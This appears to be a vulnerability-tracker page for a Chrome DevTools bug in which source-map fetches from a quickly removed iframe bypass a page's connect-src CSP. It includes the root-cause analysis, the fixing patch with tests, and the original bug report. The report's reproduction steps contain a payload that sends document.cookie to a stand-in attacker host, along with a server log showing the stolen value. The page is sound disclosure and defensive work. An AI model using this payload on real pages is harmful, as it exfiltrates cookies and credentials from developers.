Low watch CVSS 6.5 chrome Authorization Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Low
Severity
6.5
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactIncorrect authorization in Sources
DescriptionIncorrect authorization in Sources
ComponentSources
Bug ClassAuthorization Error
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker490773579
Fix commit94bfd04bf58c (devtools/devtools-frontend) +110/-1
CWECWE-863
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CISA KEVNot listed
Creditedlebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab
Reported2026-03-08 · bounty $1,500 (per vendor advisory)
Fix landed2026-03-11 (public git)
Disclosed2026-09-08
Patch gap181 days — fix public in source before the advisory

Background

Content Security Policy (CSP)
a page-level policy whose connect-src/default-src directives restrict which origins the page (and fetches attributed to its frames) may load resources from.
DevTools source-map/resource fetch
DevTools loads .map and other developer resources whose URLs can be steered by attacker-supplied page content (e.g. a //# sourceMappingURL= comment), so the fetch target is not fully trusted.
Host-bindings fallback
Host.InspectorFrontendHost.InspectorFrontendHostInstance.loadNetworkResource, a privileged DevTools-frontend fetch path that runs outside the inspected page’s process and is therefore not subject to the page’s CSP.
`Network.getSecurityIsolationStatus`
a CDP command (exposed via NetworkManager.getSecurityIsolationStatus) that returns a frame’s security posture, including its enforced CSP effectiveDirectives.

Root Cause Analysis

The edited code first attempts this.loadFromTarget(...), which routes the request through the inspected page and honors its CSP; on failure it entered a catch block that decided whether to run the privileged host-bindings fallback.

Pre-patch, that decision rested solely on whether the caught error message literally includes('CSP violation') — only that exact string produced the terminal {success: false, content: ''} result, and every other error fell through to the unsafe fallback that ignores the page CSP. The invariant violated is that “the target did not report a CSP-violation string” was wrongly treated as equivalent to “no CSP applies,” even though an attacker controls what error the target returns. By injecting an iframe initiator, triggering the fetch, and immediately removing the frame, the primary load fails with Frame not found instead of CSP violation, so the string check misses and the fallback runs, bypassing CSP.

The fix proactively queries networkManager.getSecurityIsolationStatus(initiator.frameId) (falling back to the top-level status when the frame status is absent) before loading and sets mustEnforceCSP = true when any effective directive contains connect-src or default-src; the catch guard becomes if (mustEnforceCSP || e.message.includes('CSP violation')), so when a restrictive CSP is present any failure is terminal and the fallback never executes. This tightens the check: authorization is now derived from the frame’s authoritative CSP posture rather than from an attacker-influenceable error string.

Key insight
The core mistake was inferring “no CSP to enforce” from the absence of a specific error substring ('CSP violation'), a signal the attacker can change by making the load fail differently; the fix determines CSP enforcement authoritatively up front via getSecurityIsolationStatus and treats any subsequent failure as terminal whenever a restrictive CSP exists.

Attack Path

  1. Host a page with a restrictive CSP The attacker serves a page whose CSP (connect-src/default-src) would block fetching a chosen resource URL, and arranges for DevTools to load that URL (e.g. via a source-map reference).
  2. Inject a transient iframe initiator The attacker creates an iframe, triggers the DevTools resource/source-map fetch attributed to that frame, then immediately removes the iframe.
  3. Force a non-CSP failure Because the initiating frame is gone, loadFromTarget rejects with a Frame not found error rather than a CSP violation error.
  4. Slip past the string check Pre-patch, the catch guard e.message.includes('CSP violation') does not match, so control falls through to the privileged InspectorFrontendHost loadNetworkResource host-bindings fallback, which is not bound by the page’s CSP.
  5. Fetch outside CSP The resource is retrieved through the privileged frontend path, bypassing the page’s connect-src/default-src restriction; onward misuse such as exfiltrating data to a CSP-blocked endpoint is (inferred).

Impact Assessment

An attacker can bypass the inspected page’s Content Security Policy for DevTools resource/source-map fetches, causing loads (e.g. to endpoints the page’s connect-src would forbid) to be performed through the privileged DevTools-frontend context rather than the CSP-constrained target. The precondition is that DevTools is open on an attacker-influenced page (the Sources workflow processing attacker-referenced source maps) and that the attacker can inject and remove a frame to control the failure error. The vendor advisory rates this low severity and does not report in-the-wild exploitation; NVD scores it CVSS 6.5. Any further escalation such as data exfiltration or SSRF-style abuse is (inferred).

Changed Functions

FunctionChangeNotes
if
front_end/core/sdk/PageResourceLoader.ts
modified
for
front_end/core/sdk/PageResourceLoader.ts
modified

Files Changed

  • front_end/core/sdk/PageResourceLoader.ts
  • front_end/core/sdk/PageResourceLoader.test.ts

Audit Directions

  • Error-string-driven security decisions
    Flag any control flow that grants or denies a privileged action based on matching a substring of an error message (e.g. message.includes(...)), since the failure text is often attacker- or environment-controlled and not a reliable authorization signal.
  • Privileged frontend fallbacks
    Audit other DevTools paths that fall back to InspectorFrontendHost/host bindings when a target load fails, and verify each independently confirms the resource is permitted rather than assuming a non-specific failure means the restriction does not apply.
  • Frame-lifecycle race conditions
    Look for logic that decides authorization using state from a frame/execution context that may be destroyed between the fetch trigger and the load, where removing the frame changes the observed outcome (as Frame not found did here).
From 94bfd04bf58c052951ae7a834b6f42df7338ca5a Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Wed, 11 Mar 2026 08:56:45 -0700
Subject: [PATCH] Prevent CSP bypass in source map fetches via removed frames

Currently, DevTools only blocks its unsafe fallback mechanism for
source map requests if it receives a literal "CSP violation" error
from the target. An attacker can bypass this by triggering a fetch
from an injected iframe and immediately removing it. This causes the
primary load to fail with a "Frame not found" error, which
incorrectly triggers the fallback and bypasses the page's Content
Security Policy.

This CL addresses the issue by querying the frame's security posture
(via `Network.getSecurityIsolationStatus`) before initiating the fetch.
If a restrictive CSP (`connect-src` or `default-src`) is detected,
any failure from the target load is treated as a terminal security
failure, preventing the unsafe fallback mechanism from executing.

Bug: 490773579
Change-Id: I7293ba2f112a9cd4ab765dce6de8439afbb0f1b5
Reviewed-on: https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/7656988
Commit-Queue: Simon Zünd <szuend@chromium.org>
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Reviewed-by: Simon Zünd <szuend@chromium.org>
---
diff --git a/front_end/core/sdk/PageResourceLoader.test.ts b/front_end/core/sdk/PageResourceLoader.test.ts
index cba13d6..a5bcb8c 100644
--- a/front_end/core/sdk/PageResourceLoader.test.ts
+++ b/front_end/core/sdk/PageResourceLoader.test.ts
@@ -295,6 +295,94 @@
       });
     }
   });
+
+  describe('loadResource with CSP', () => {
+    it('does not fall back to host bindings if frame has restrictive CSP', async () => {
+      const {loader, settings, targetManager} = setup();
+      settings.moduleSetting('cache-disabled').set(false);
+      const connection = new MockCDPConnection();
+
+      connection.setHandler('Network.getSecurityIsolationStatus', () => {
+        return {
+          result: {
+            status: {
+              csp: [{
+                effectiveDirectives: 'connect-src \'none\'',
+                isEnforced: true,
+                source: 'HTTP' as Protocol.Network.ContentSecurityPolicySource,
+              }],
+            },
+          },
+        };
+      });
+
+      connection.setHandler('Network.loadNetworkResource', () => {
+        return {
+          error: {
+            code: -32000,
+            message: 'Frame not found',
+          },
+        };
+      });
+
+      const target = createTarget({connection, targetManager});
+      const initiator = {target, frameId: '123' as Protocol.Page.FrameId, initiatorUrl: urlString`https://example.com`};
+      const url = urlString`https://example.com/source.map`;
+
+      const loadHostBindingsStub =
+          sinon.stub(Host.InspectorFrontendHost.InspectorFrontendHostInstance, 'loadNetworkResource');
+
+      try {
+        await loader.loadResource(url, initiator);
+        assert.fail('Expected loadResource to throw');
+      } catch (e) {
+        assert.strictEqual(e.message, 'Frame not found');
+      }
+
+      // Verify fallback was NOT called
+      sinon.assert.notCalled(loadHostBindingsStub);
+    });
+
+    it('falls back to host bindings if frame has no restrictive CSP', async () => {
+      const {loader, settings, targetManager} = setup();
+      settings.moduleSetting('cache-disabled').set(false);
+      const connection = new MockCDPConnection();
+
+      connection.setHandler('Network.getSecurityIsolationStatus', () => {
+        return {
+          result: {
+            status: {
+              csp: [],
+            },
+          },
+        };
+      });
+
+      connection.setHandler('Network.loadNetworkResource', () => {
+        return {
+          error: {
+            code: -32000,
+            message: 'Frame not found',
+          },
+        };
+      });
+
+      const target = createTarget({connection, targetManager});
+      const initiator = {target, frameId: '123' as Protocol.Page.FrameId, initiatorUrl: urlString`https://example.com`};
+      const url = urlString`https://example.com/source.map`;
+
+      const loadHostBindingsStub =
+          sinon.stub(Host.InspectorFrontendHost.InspectorFrontendHostInstance, 'loadNetworkResource')
+              .callsFake((_url, _headers, streamId, callback) => {
+                Host.ResourceLoader.streamWrite(streamId, 'fallback content');
+                callback({statusCode: 200});
+              });
+
+      const result = await loader.loadResource(url, initiator);
+      assert.strictEqual(result.content, 'fallback content');
+      sinon.assert.calledOnce(loadHostBindingsStub);
+    });
+  });
 });
 
 describe('PageResourceLoader', () => {
diff --git a/front_end/core/sdk/PageResourceLoader.ts b/front_end/core/sdk/PageResourceLoader.ts
index bf4335c..6439842 100644
--- a/front_end/core/sdk/PageResourceLoader.ts
+++ b/front_end/core/sdk/PageResourceLoader.ts
@@ -334,6 +334,27 @@
         initiator.target;
     Host.userMetrics.developerResourceScheme(this.getDeveloperResourceScheme(parsedURL));
     if (eligibleForLoadFromTarget) {
+      let mustEnforceCSP = false;
+      const isHttp = parsedURL.scheme === 'http' || parsedURL.scheme === 'https';
+      if (isHttp && initiator.target) {
+        const networkManager = initiator.target.model(NetworkManager);
+        if (networkManager) {
+          let status = await networkManager.getSecurityIsolationStatus(initiator.frameId);
+          if (!status && initiator.frameId) {
+            status = await networkManager.getSecurityIsolationStatus(null);
+          }
+          if (status?.csp) {
+            for (const csp of status.csp) {
+              const directives = csp.effectiveDirectives;
+              if (directives.includes('connect-src') || directives.includes('default-src')) {
+                mustEnforceCSP = true;
+                break;
+              }
+            }
+          }
+        }
+      }
+
       try {
         Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_VIA_TARGET);
         const result = await this.loadFromTarget(initiator.target, initiator.frameId, url, isBinary);
@@ -341,7 +362,7 @@
       } catch (e) {
         if (e instanceof Error) {
           Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FAILURE);
-          if (e.message.includes('CSP violation')) {
+          if (mustEnforceCSP || e.message.includes('CSP violation')) {
             return {
               success: false,
               content: '',
Loading diff…

Original Bug Report

reported by al...@gmail.com

Fetching source maps can bypass `connect-src` CSP via a removed frame

VULNERABILITY DETAILS

Summary

Following the decision made in issue 361116749, sourceMappingURL requests should be blocked by the connect-src CSP directive.

However, this vulnerability allows an attacker to bypass CSP and send requests to their own server, even if the connect-src directive (or its fallback) forbids it.

Bisect and Root Cause Analysis

The check at PageResourceLoader.ts:344 only prevents the fallback if loadFromTarget fails specifically with a CSP violation error:

      try {
        Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_VIA_TARGET);
        const result = await this.loadFromTarget(initiator.target, initiator.frameId, url, isBinary);
        return result;
      } catch (e) {
        if (e instanceof Error) {
          Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FAILURE);
          if (e.message.includes('CSP violation')) {
            return {
              success: false,
              content: '',
              errorDescription: {
                statusCode: 0,
                message: e.message,
              }
            };
          }
        }
      }
      Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FALLBACK);

Because the source map fetch is asynchronous, if the target frame is removed before loadNetworkResource, loadFromTarget will fail with a different error: Frame not found. When this happens, the fallback mechanism is still triggered, successfully sending the request to the attacker’s server.

The check for e.message was introduced in the following commit:

https://source.chromium.org/chromium/_/chromium/devtools/devtools-frontend/+/5c8833cfccc90880d3dc648b64cc6786a48a2d0e

Attack Preconditions

The victim (most likely a developer) opens DevTools on a page controlled by the attacker via XSS

Impact Analysis

I believe this carries the same impact and severity as issue 361116749 (previous discussion regarding the impact can be found in comment #3). A remote attacker can abuse this vulnerability to bypass CSP and exfiltrate sensitive data to their server, despite restrictive connect-src or fallback directives.

Additionally, this behavior is completely silent; the user will not notice the request even if they check the DevTools Network panel.

VERSION

Chrome Version: 145.0.7632.76 stable

Operating System: Linux, Mac, Windows

This vulnerability is also present in Chrome 147.0.7692.0 canary.

REPRODUCTION CASE

  1. Create a directory structure like this with the attached file:
.
└── index.html
  1. Update your /etc/hosts file to resolve cross-origin.test to 127.0.0.1. (Alternatively, change the ATTACKER_URL in index.html to your own server’s URL.)
  2. Start a local web server in the directory. For example, using Python:
python3 -m http.server 1337
  1. Open http://localhost:1337/ with DevTools opened.
  2. index.html attempts to create an iframe using srcdoc, then uses iframe.contentDocument.write to inject a script tag with a sourceMappingURL pointing to http://cross-origin.test:1337/exploit.map?c=${document.cookie}. The iframe is removed immediately after the script tag is written. This ensures the iframe is removed and triggers the fallback mechanism with a Frame not found error instead of a CSP violation.
  3. Even though index.html’s CSP: default-src 'none'; script-src 'unsafe-inline'; does not allow http://cross-origin.test:1337, the source map request to http://cross-origin.test:1337/exploit.map will still be sent. The expected server log (using Python’s http.server) should look like this:
$ python3 -m http.server 1337
Serving HTTP on :: port 1337 (http://[::]:1337/) ...
::1 - - [08/Mar/2026 17:02:21] "GET / HTTP/1.1" 200 -
::1 - - [08/Mar/2026 17:02:21] code 404, message File not found
::1 - - [08/Mar/2026 17:02:21] "GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1" 404 -
::ffff:127.0.0.1 - - [08/Mar/2026 17:02:21] code 404, message File not found
::ffff:127.0.0.1 - - [08/Mar/2026 17:02:21] "GET /exploit.map?c=secret%3Dflag%7Bcredentials_that_attackers_want_to_steal%7D&t=1772960541600 HTTP/1.1" 404 -

CREDIT INFORMATION

Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.

View on issue tracker